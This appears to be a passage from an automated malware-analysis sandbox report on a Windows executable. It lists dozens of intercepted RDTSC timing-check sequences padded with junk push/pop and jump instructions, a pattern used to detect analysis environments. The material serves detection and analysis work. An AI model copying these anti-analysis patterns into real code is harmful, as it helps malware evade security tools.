Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F2C2 second address: E4F304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jne 00007F743483E9F6h 0x0000000b jmp 00007F743483EA06h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F743483EA08h 0x00000018 jnl 00007F743483E9F6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F304 second address: E4F33D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743477F926h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c jmp 00007F743477F928h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F33D second address: E4F356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F743483EA00h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F356 second address: E4F35A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58A76 second address: E58A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58A7A second address: E58A98 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F743477F916h 0x0000000d jns 00007F743477F916h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 jng 00007F743477F91Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5699A second address: E5699E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56F82 second address: E56F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F743477F916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56F8C second address: E56F90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56F90 second address: E56FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F743477F91Ch 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F743477F927h 0x00000013 jp 00007F743477F91Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E56FC8 second address: E56FDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743483E9FEh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57232 second address: E57236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57236 second address: E57253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F743483EA02h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57253 second address: E57259 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57259 second address: E57278 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743483EA03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F743483E9FCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E575E5 second address: E575EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E575EE second address: E575F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5842C second address: E5844D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 jo 00007F743477F916h 0x0000000e jmp 00007F743477F91Eh 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5844D second address: E58453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58453 second address: E58457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58457 second address: E58469 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F743483E9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A09E second address: E5A0B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F743477F91Eh 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A0B5 second address: E5A0BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A0BF second address: E5A0C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A0C5 second address: E5A0CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5CF4E second address: E5CF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5CF54 second address: E5CF58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D30B second address: E5D348 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F743477F916h 0x00000008 jmp 00007F743477F91Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007F743477F92Fh 0x00000015 jmp 00007F743477F929h 0x0000001a popad 0x0000001b push edi 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D46E second address: E5D48B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jg 00007F743483E9F6h 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F743483E9FBh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D48B second address: E5D4A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d jmp 00007F743477F91Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D5BB second address: E5D5C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D5C4 second address: E5D5C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D5C8 second address: E5D5E7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F743483E9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F743483EA03h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D884 second address: E5D88E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F743477F916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6234A second address: E6236C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F743483E9F6h 0x0000000a popad 0x0000000b pushad 0x0000000c jns 00007F743483E9F6h 0x00000012 jmp 00007F743483E9FAh 0x00000017 popad 0x00000018 pop edi 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D4FC second address: E6D52F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743477F922h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F743477F927h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D52F second address: E6D533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D533 second address: E6D56B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F743477F916h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d pushad 0x0000000e jbe 00007F743477F927h 0x00000014 jmp 00007F743477F921h 0x00000019 pushad 0x0000001a js 00007F743477F916h 0x00000020 push eax 0x00000021 pop eax 0x00000022 jo 00007F743477F916h 0x00000028 popad 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D964 second address: E6D96C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6DA8E second address: E6DA94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6DA94 second address: E6DAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F743483EA04h 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F743483EA00h 0x00000013 pushad 0x00000014 jne 00007F743483E9F6h 0x0000001a jnc 00007F743483E9F6h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6DAD5 second address: E6DAE2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F743477F916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6DC3E second address: E6DC49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F743483E9F6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6DC49 second address: E6DC6D instructions: 0x00000000 rdtsc 0x00000002 je 00007F743477F91Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007F743477F916h 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jp 00007F743477F96Eh 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 pop eax 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6DC6D second address: E6DC77 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F743483E9F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6DC77 second address: E6DCA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F743477F928h 0x0000000d jmp 00007F743477F91Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E07C second address: E6E084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E084 second address: E6E089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E089 second address: E6E08F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E08F second address: E6E093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E093 second address: E6E097 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E1FB second address: E6E20B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007F743477F916h 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E20B second address: E6E20F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E365 second address: E6E36E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E36E second address: E6E374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6E374 second address: E6E37A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6F325 second address: E6F331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F743483E9F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D0D4 second address: E6D0ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F743477F920h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6D0ED second address: E6D0F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74943 second address: E74949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74949 second address: E74951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74951 second address: E74956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74AA4 second address: E74AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74AAA second address: E74AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F743477F91Bh 0x0000000d jmp 00007F743477F91Fh 0x00000012 popad 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 push edx 0x00000018 pop edx 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80A61 second address: E80A76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F743483E9FCh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8061E second address: E8062D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8062D second address: E8063B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F743483E9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8063B second address: E80658 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743477F929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E80658 second address: E80668 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743483E9FBh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85049 second address: E8504D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8504D second address: E85051 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E85051 second address: E8506E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F743477F920h 0x0000000e popad 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8506E second address: E850AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F743483EA09h 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F743483EA0Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E850AA second address: E850AF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9426C second address: E94272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94272 second address: E94299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F743477F91Ch 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jnc 00007F743477F91Ah 0x00000012 pop ebx 0x00000013 pushad 0x00000014 jp 00007F743477F91Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C2C8 second address: E9C2F2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F743483E9F6h 0x00000008 jmp 00007F743483E9FCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F743483EA02h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C45D second address: E9C461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C461 second address: E9C474 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743483E9FDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C5AD second address: E9C5C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F743477F925h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9C5C8 second address: E9C5CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D0A5 second address: E9D0BC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F743477F91Ch 0x00000008 push edx 0x00000009 jng 00007F743477F916h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FC2B second address: E9FC35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9FC35 second address: E9FC3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA2FA0 second address: EA2FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA2FA4 second address: EA2FB4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F743477F916h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA2FB4 second address: EA2FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F743483E9F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA2FBE second address: EA2FD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743477F926h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA2E33 second address: EA2E45 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F743483E9FCh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA880F second address: EA881D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jc 00007F743477F916h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA881D second address: EA8821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8821 second address: EA8835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F743477F916h 0x0000000e jne 00007F743477F916h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAF77B second address: EAF780 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBEB35 second address: EBEB41 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jbe 00007F743477F916h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF9B5 second address: ECF9B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF9B9 second address: ECF9C3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F743477F916h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF9C3 second address: ECF9FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F743483EA06h 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F743483E9FCh 0x00000018 ja 00007F743483E9F6h 0x0000001e jg 00007F743483E9FCh 0x00000024 rdtsc
